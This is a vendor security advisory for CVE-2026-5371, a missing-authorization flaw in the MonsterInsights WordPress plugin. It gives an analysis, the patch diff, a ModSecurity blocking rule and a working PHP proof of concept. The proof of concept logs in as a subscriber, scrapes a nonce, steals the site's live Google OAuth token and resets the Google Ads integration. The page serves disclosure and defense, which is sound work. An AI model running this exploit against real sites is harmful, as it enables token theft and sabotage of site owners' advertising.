Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2026-5371: MonsterInsights <= 10.1.2 – Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure And Plugin Integration Reset (google-analytics-for-wordpress)

CVE ID CVE-2026-5371
Plugin google-analytics-for-wordpress
Severity High (CVSS 7.1)
CWE 862
Vulnerable Version 10.1.2
Patched Version 10.1.3
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5371:

This vulnerability affects the MonsterInsights plugin for WordPress (versions up to and including 10.1.2). It allows authenticated attackers with Subscriber-level access or higher to retrieve live Google OAuth access tokens and reset the plugin’s Google Ads integration. The vulnerability carries a CVSS score of 7.1, indicating high severity due to the potential for sensitive information exposure and unauthorized data modification.

The root cause lies in missing capability checks in two functions: `get_ads_access_token()` and `reset_experience()` within the file `google-analytics-for-wordpress/includes/ppc/google/class-monsterinsights-google-ads.php`. Both functions use AJAX actions and only verify a nonce using `check_ajax_referer(‘mi-admin-nonce’, ‘nonce’)` but fail to check user capabilities before executing sensitive operations. The patch adds checks for `monsterinsights_save_settings` capability (line 170 and line 253 of the patched file). Additionally, the `monsterinsights_connect_process` AJAX action was changed from `wp_ajax_nopriv` to `wp_ajax` (in `includes/connect.php` line 27) and now includes a `monsterinsights_can_install_plugins()` permission check (line 144).

To exploit this vulnerability, an authenticated attacker with Subscriber-level access sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `monsterinsights_google_ads_get_access_token` or `monsterinsights_google_ads_reset_experience`. The request must include a valid `nonce` parameter (which can be obtained from any page that localizes the `monsterinsights` JavaScript object, such as the admin bar or settings pages). The attacker does not need any special capabilities beyond being logged in as a Subscriber. The server responds with either the live OAuth access token or a success message confirming the Google Ads integration reset.

The patch introduces two capability checks in the affected files. In `class-monsterinsights-google-ads.php`, before executing `reset_experience()` and `get_ads_access_token()`, the code now calls `current_user_can(‘monsterinsights_save_settings’)`. If the check fails, the function returns an error message. In `connect.php`, the `monsterinsights_connect_process` AJAX hook was changed from `wp_ajax_nopriv` to `wp_ajax` (preventing unauthenticated access) and now includes `monsterinsights_can_install_plugins()` permission check. Other patches in `admin-assets.php` and `class-monsterinsights-onboarding.php` add permission checks for wizard URLs and onboarding key validation. The patch also improves the admin bar by providing a fallback URL and checking for asset availability.

Successful exploitation allows an attacker to steal live Google OAuth access tokens, which could be used to access the site’s Google Analytics and Google Ads data, modify ad campaigns, or exfiltrate analytics data. Resetting the Google Ads integration could disrupt advertising operations and require re-authentication. The information exposure is particularly dangerous as OAuth tokens may grant persistent access to connected Google services beyond the WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/google-analytics-for-wordpress/googleanalytics.php
+++ b/google-analytics-for-wordpress/googleanalytics.php
@@ -7,7 +7,7 @@
  * Author:              MonsterInsights
  * Author URI:          https://www.monsterinsights.com/lite/?utm_source=liteplugin&utm_medium=pluginheader&utm_campaign=authoruri&utm_content=7%2E0%2E0
  *
- * Version:             10.1.2
+ * Version:             10.1.3
  * Requires at least:   5.6.0
  * Requires PHP:        7.2
  *
@@ -79,7 +79,7 @@
 	 * @access public
 	 * @var string $version Plugin version.
 	 */
-	public $version = '10.1.2';
+	public $version = '10.1.3';
 	/**
 	 * Plugin file.
 	 *
--- a/google-analytics-for-wordpress/includes/admin/admin-assets.php
+++ b/google-analytics-for-wordpress/includes/admin/admin-assets.php
@@ -285,7 +285,7 @@
 					'auth'                 => $auth_data,
 					'authed'               => $site_auth || $ms_auth, // Boolean for admin bar compatibility
 					'plugin_version'       => MONSTERINSIGHTS_VERSION,
-					'wizard_url'           => monsterinsights_get_onboarding_url(),
+					'wizard_url'           => monsterinsights_can_install_plugins() ? monsterinsights_get_onboarding_url() : '',
 					'rest_url'             => get_rest_url(),
 					'rest_nonce'           => wp_create_nonce( 'wp_rest' ),
 					// Direct API access (bypasses WordPress for performance).
@@ -929,7 +929,7 @@
 				'bearer_expires'     => $bearer_expires,
 				// Sample data mode: when true, frontend should bypass direct API and use WP AJAX for sample data.
 				'sample_data_enabled' => apply_filters( 'monsterinsights_sample_data_enabled', false ),
-				'wizard_url'         => is_admin() ? monsterinsights_get_onboarding_url() : '',
+				'wizard_url'         => monsterinsights_can_install_plugins() ? monsterinsights_get_onboarding_url() : '',
 				'addons'             => $addons_active,
 				'addons_info'        => $addons_info,
 				'activate_nonce'     => wp_create_nonce( 'monsterinsights-activate' ),
--- a/google-analytics-for-wordpress/includes/admin/class-monsterinsights-onboarding.php
+++ b/google-analytics-for-wordpress/includes/admin/class-monsterinsights-onboarding.php
@@ -113,7 +113,20 @@
 		if ( empty( $provided_key ) || false === $stored_key || ! hash_equals( $stored_key, $provided_key ) ) {
 			return new WP_Error(
 				'monsterinsights_invalid_key',
-				'Invalid onboarding key',
+				esc_html__( 'Invalid onboarding key', 'google-analytics-for-wordpress' ),
+				array( 'status' => 403 )
+			);
+		}
+
+		// Ensure the user who generated the key has plugin installation capability.
+		// Only enforce when the user ID transient is present; if it has been evicted
+		// from the object cache independently of the key transient, skip this check
+		// rather than blocking a legitimate upgrade flow.
+		$onboarding_user_id = monsterinsights_get_onboarding_user_id();
+		if ( $onboarding_user_id && ! monsterinsights_can_install_plugins( $onboarding_user_id ) ) {
+			return new WP_Error(
+				'monsterinsights_insufficient_permissions',
+				esc_html__( 'Insufficient permissions', 'google-analytics-for-wordpress' ),
 				array( 'status' => 403 )
 			);
 		}
--- a/google-analytics-for-wordpress/includes/connect.php
+++ b/google-analytics-for-wordpress/includes/connect.php
@@ -24,7 +24,7 @@
 	public function hooks() {

 		add_action( 'wp_ajax_monsterinsights_connect_url', array( $this, 'generate_connect_url' ) );
-		add_action( 'wp_ajax_nopriv_monsterinsights_connect_process', array( $this, 'process' ) );
+		add_action( 'wp_ajax_monsterinsights_connect_process', array( $this, 'process' ) );
 	}

 	/**
@@ -141,6 +141,11 @@
 			'</a>'
 		);

+		// Check for permissions.
+		if ( ! monsterinsights_can_install_plugins() ) {
+			wp_send_json_error( $error );
+		}
+
 		// verify params present (oth & download link).
 		$post_oth = ! empty( $_REQUEST['oth'] ) ? sanitize_text_field($_REQUEST['oth']) : '';
 		$post_url = ! empty( $_REQUEST['file'] ) ? sanitize_url($_REQUEST['file']) : '';
--- a/google-analytics-for-wordpress/includes/frontend/frontend.php
+++ b/google-analytics-for-wordpress/includes/frontend/frontend.php
@@ -161,6 +161,23 @@
 }

 /**
+ * Whether the built React admin bar bundle exists on disk.
+ *
+ * The top-level "Insights" admin bar button is interactive only when the
+ * React app is enqueued and mounts. If the bundle is missing (e.g. a
+ * release packaging gap), the rendered link has no click handler and
+ * appears broken to users. This helper lets callers gate on availability.
+ *
+ * @return bool
+ */
+function monsterinsights_admin_bar_assets_available() {
+	$version    = monsterinsights_is_pro_version() ? 'pro' : 'lite';
+	$asset_file = MONSTERINSIGHTS_PLUGIN_DIR . "{$version}/assets/admin-bar/index.asset.php";
+
+	return file_exists( $asset_file );
+}
+
+/**
  * Add an admin bar menu item on the frontend.
  *
  * @return void
@@ -171,13 +188,26 @@
 		return;
 	}

+	// If the React admin bar bundle is missing, skip adding the button —
+	// otherwise it renders as an inert link and looks broken. The
+	// "Insights" entry under wp-logo (see em-admin.php) still works.
+	if ( ! monsterinsights_admin_bar_assets_available() ) {
+		return;
+	}
+
 	global $wp_admin_bar;

+	// Fallback href so the button degrades to navigation if the React
+	// app fails to mount for any reason (JS error, CSP, extension).
+	$reports_url = is_network_admin()
+		? add_query_arg( 'page', 'monsterinsights_overview_report', network_admin_url( 'admin.php' ) )
+		: add_query_arg( 'page', 'monsterinsights_reports', admin_url( 'admin.php' ) );
+
 	$args = array(
 		'id'    => 'monsterinsights_frontend_button',
 		'title' => '<span class="ab-icon dashicons-before dashicons-chart-bar"></span> Insights',
 		// Maybe allow translation?
-		'href'  => '#',
+		'href'  => $reports_url,
 	);

 	if ( method_exists( $wp_admin_bar, 'add_menu' ) ) {
@@ -214,7 +244,7 @@
 	$version = monsterinsights_is_pro_version() ? 'pro' : 'lite';
 	$asset_file = MONSTERINSIGHTS_PLUGIN_DIR . "{$version}/assets/admin-bar/index.asset.php";

-	if (!file_exists($asset_file)) {
+	if ( ! monsterinsights_admin_bar_assets_available() ) {
 		return;
 	}

@@ -249,40 +279,52 @@
 		plugin_dir_path( MONSTERINSIGHTS_PLUGIN_FILE ) . $version . '/languages'
 	);

-	// Localize data (same structure as Vue version for compatibility)
-	$page_title = is_singular() ? get_the_title() : monsterinsights_get_page_title();
-	$site_auth = MonsterInsights()->auth->get_viewname();
-	$ms_auth = is_multisite() && MonsterInsights()->auth->get_network_viewname();
-
-	// Check if any of the other admin scripts are enqueued, if so, use their object.
-	if ( ! wp_script_is( 'monsterinsights-vue-script' ) && ! wp_script_is( 'monsterinsights-vue-reports' ) && ! wp_script_is( 'monsterinsights-vue-widget' ) && ! wp_script_is( 'monsterinsights-vue3-custom-dashboard' ) ) {
-		$reports_url = is_network_admin() ? add_query_arg( 'page', 'monsterinsights_overview_report', network_admin_url( 'admin.php' ) ) : add_query_arg( 'page', 'monsterinsights_reports', admin_url( 'admin.php' ) );
-		wp_localize_script(
-			'monsterinsights-admin-bar',
-			'monsterinsights',
-			array(
-				'ajax'                 => admin_url( 'admin-ajax.php' ),
-				'nonce'                => wp_create_nonce( 'mi-admin-nonce' ),
-				'network'              => is_network_admin(),
-				'assets'               => plugins_url( $version . '/assets/admin-bar', MONSTERINSIGHTS_PLUGIN_FILE ),
-				'addons_url'           => is_multisite() ? network_admin_url( 'admin.php?page=monsterinsights_network#/addons' ) : admin_url( 'admin.php?page=monsterinsights_settings#/addons' ),
-				'page_id'              => is_singular() ? get_the_ID() : false,
-				'page_title'           => $page_title,
-				'plugin_version'       => MONSTERINSIGHTS_VERSION,
-				'shareasale_id'        => monsterinsights_get_shareasale_id(),
-				'shareasale_url'       => monsterinsights_get_shareasale_url( monsterinsights_get_shareasale_id(), '' ),
-				'is_admin'             => is_admin(),
-				'reports_url'          => $reports_url,
-				'authed'               => $site_auth || $ms_auth,
-				'auth_connect_url'     => is_network_admin() ? network_admin_url( 'index.php?page=monsterinsights-onboarding' ) : admin_url( 'index.php?page=monsterinsights-onboarding' ),
-				'getting_started_url'  => is_multisite() ? network_admin_url( 'admin.php?page=monsterinsights_network#/about/getting-started' ) : admin_url( 'admin.php?page=monsterinsights_settings#/about/getting-started' ),
-				'wizard_url'           => is_network_admin() ? network_admin_url( 'index.php?page=monsterinsights-onboarding' ) : admin_url( 'index.php?page=monsterinsights-onboarding' ),
-				'roles_manage_options' => monsterinsights_get_manage_options_roles(),
-				'user_roles'           => $current_user->roles,
-				'roles_view_reports'   => monsterinsights_get_option('view_reports'),
-			)
-		);
+	// Skip localizing the shared `monsterinsights` global if another MI app already owns it —
+	// otherwise this admin-bar payload would clobber config like relay_api_url / license / reporting_api.
+	$competing_handles = array(
+		'monsterinsights-vue-script',
+		'monsterinsights-vue-reports',
+		'monsterinsights-vue-widget',
+		'monsterinsights-vue3-custom-dashboard',
+		'monsterinsights-vue3-reports',
+	);
+
+	foreach ( $competing_handles as $handle ) {
+		if ( wp_script_is( $handle ) ) {
+			return;
+		}
 	}
+
+	// Localize data (same structure as Vue version for compatibility)
+	$page_title  = is_singular() ? get_the_title() : monsterinsights_get_page_title();
+	$site_auth   = MonsterInsights()->auth->get_viewname();
+	$ms_auth     = is_multisite() && MonsterInsights()->auth->get_network_viewname();
+	$reports_url = is_network_admin() ? add_query_arg( 'page', 'monsterinsights_overview_report', network_admin_url( 'admin.php' ) ) : add_query_arg( 'page', 'monsterinsights_reports', admin_url( 'admin.php' ) );
+	wp_localize_script(
+		'monsterinsights-admin-bar',
+		'monsterinsights',
+		array(
+			'ajax'                 => admin_url( 'admin-ajax.php' ),
+			'nonce'                => wp_create_nonce( 'mi-admin-nonce' ),
+			'network'              => is_network_admin(),
+			'assets'               => plugins_url( $version . '/assets/admin-bar', MONSTERINSIGHTS_PLUGIN_FILE ),
+			'addons_url'           => is_multisite() ? network_admin_url( 'admin.php?page=monsterinsights_network#/addons' ) : admin_url( 'admin.php?page=monsterinsights_settings#/addons' ),
+			'page_id'              => is_singular() ? get_the_ID() : false,
+			'page_title'           => $page_title,
+			'plugin_version'       => MONSTERINSIGHTS_VERSION,
+			'shareasale_id'        => monsterinsights_get_shareasale_id(),
+			'shareasale_url'       => monsterinsights_get_shareasale_url( monsterinsights_get_shareasale_id(), '' ),
+			'is_admin'             => is_admin(),
+			'reports_url'          => $reports_url,
+			'authed'               => $site_auth || $ms_auth,
+			'auth_connect_url'     => is_network_admin() ? network_admin_url( 'index.php?page=monsterinsights-onboarding' ) : admin_url( 'index.php?page=monsterinsights-onboarding' ),
+			'getting_started_url'  => is_multisite() ? network_admin_url( 'admin.php?page=monsterinsights_network#/about/getting-started' ) : admin_url( 'admin.php?page=monsterinsights_settings#/about/getting-started' ),
+			'wizard_url'           => is_network_admin() ? network_admin_url( 'index.php?page=monsterinsights-onboarding' ) : admin_url( 'index.php?page=monsterinsights-onboarding' ),
+			'roles_manage_options' => monsterinsights_get_manage_options_roles(),
+			'user_roles'           => $current_user->roles,
+			'roles_view_reports'   => monsterinsights_get_option('view_reports'),
+		)
+	);
 }

 add_action( 'wp_enqueue_scripts', 'monsterinsights_frontend_admin_bar_scripts' );
--- a/google-analytics-for-wordpress/includes/ppc/google/class-monsterinsights-google-ads.php
+++ b/google-analytics-for-wordpress/includes/ppc/google/class-monsterinsights-google-ads.php
@@ -167,6 +167,12 @@
 	public function reset_experience() {
 		check_ajax_referer('mi-admin-nonce', 'nonce');

+		if (! current_user_can('monsterinsights_save_settings')) {
+			wp_send_json_error(array(
+				'message' => __('You do not have permission to reset the Google Ads experience.', 'google-analytics-for-wordpress'),
+			));
+		}
+
 		self::clear_data();

 		wp_send_json_success(array(
@@ -244,6 +250,12 @@
 	{
 		check_ajax_referer('mi-admin-nonce', 'nonce');

+		if (! current_user_can('monsterinsights_save_settings')) {
+			wp_send_json_error(array(
+				'message' => __('You do not have permission to retrieve the Google Ads access token.', 'google-analytics-for-wordpress'),
+			));
+		}
+
 		$access_token_result = $this->get_access_token();

 		if (is_wp_error($access_token_result)) {
--- a/google-analytics-for-wordpress/lite/assets/admin-bar/index.asset.php
+++ b/google-analytics-for-wordpress/lite/assets/admin-bar/index.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-element', 'wp-i18n'), 'version' => '2285a9c504aa37d29a57');
--- a/google-analytics-for-wordpress/lite/includes/popular-posts/class-popular-posts-widget.php
+++ b/google-analytics-for-wordpress/lite/includes/popular-posts/class-popular-posts-widget.php
@@ -121,7 +121,7 @@
 			$html .= '<a href="' . esc_url($post['link']) . '">';
 			if ( ! empty( $theme_styles['image'] ) && ! empty( $post['image'] ) ) {
 				$html .= '<div class="monsterinsights-widget-popular-posts-image">';
-				$html .= '<img src="' . esc_url($post['image']) . '" srcset=" ' . esc_attr($post['srcset']) . ' " alt="' . esc_attr( $post['title'] ) . '" />';
+				$html .= '<img src="' . esc_url($post['image']) . '" srcset=" ' . esc_attr($post['srcset']) . ' " alt="' . esc_attr( wp_strip_all_tags( $post['title'] ) ) . '" />';
 				$html .= '</div>';
 			}
 			$html .= '<div class="monsterinsights-widget-popular-posts-text">';
@@ -132,7 +132,7 @@
 			}
 			$html .= '<span class="monsterinsights-widget-popular-posts-title" ';
 			$html .= ! empty( $this->get_element_style( $theme, 'title', $atts ) ) ? 'style="' . esc_attr( $this->get_element_style( $theme, 'title', $atts ) ) . '"' : '';
-			$html .= '>' . esc_html( $post['title'] ) . '</span>';
+			$html .= '>' . wp_kses_post( $post['title'] ) . '</span>';
 			$html .= '</div>'; // monsterinsights-widget-popular-posts-text.
 			$html .= '</a>';
 			$html .= '</li>';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-5371
# Blocks unauthenticated/subscriber-level exploitation of MonsterInsights Google Ads AJAX endpoints
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20265371,phase:2,deny,status:403,chain,msg:'CVE-2026-5371 - MonsterInsights Google Ads token exposure via AJAX',severity:'CRITICAL',tag:'CVE-2026-5371'"
  SecRule ARGS_POST:action "@rx ^monsterinsights_google_ads_(get_access_token|reset_experience)$" "chain"
    SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5371 - MonsterInsights <= 10.1.2 Missing Authorization to Sensitive Information Exposure And Plugin Integration Reset
/*
 * Exploit: Retrieve Google OAuth access token (requires subscriber+ account)
 * Usage: php poc.php <target_url> <username> <password>
 */

if ($argc < 4) {
    die("Usage: php poc.php <target_url> <username> <password>n");
}

$target_url = rtrim($argv[1], '/');
$username   = $argv[2];
$password   = $argv[3];

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL            => $login_url,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query([
        'log'   => $username,
        'pwd'   => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => 1,
    ]),
    CURLOPT_COOKIEJAR      => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch) . "n");
}

// Step 2: Obtain a valid nonce from the admin bar localized data
$admin_url = $target_url . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$admin_page = curl_exec($ch);
preg_match('/"nonce":"([a-f0-9]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
    die('Could not extract nonce from admin page.n');
}
$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";

// Step 3: Exploit get_ads_access_token endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt_array($ch, [
    CURLOPT_URL            => $ajax_url,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query([
        'action' => 'monsterinsights_google_ads_get_access_token',
        'nonce'  => $nonce,
    ]),
    CURLOPT_COOKIEFILE     => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
]);
$result = curl_exec($ch);
$data = json_decode($result, true);

if (isset($data['success']) && $data['success'] === true && isset($data['data']['token'])) {
    echo "[+] Google OAuth Access Token retrieved:n";
    echo "Token: " . $data['data']['token'] . "n";
} elseif (isset($data['data']['message'])) {
    echo "[-] Server response: " . $data['data']['message'] . "n";
} else {
    echo "[-] Unknown response: " . $result . "n";
}

// Step 4: (Optional) Exploit reset_experience endpoint
curl_setopt_array($ch, [
    CURLOPT_URL            => $ajax_url,
    CURLOPT_POSTFIELDS     => http_build_query([
        'action' => 'monsterinsights_google_ads_reset_experience',
        'nonce'  => $nonce,
    ]),
]);
$reset_result = curl_exec($ch);
$reset_data = json_decode($reset_result, true);

if (isset($reset_data['success']) && $reset_data['success'] === true) {
    echo "[+] Google Ads integration has been reset.n";
} else {
    echo "[-] Reset failed or patched.n";
}

curl_close($ch);
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School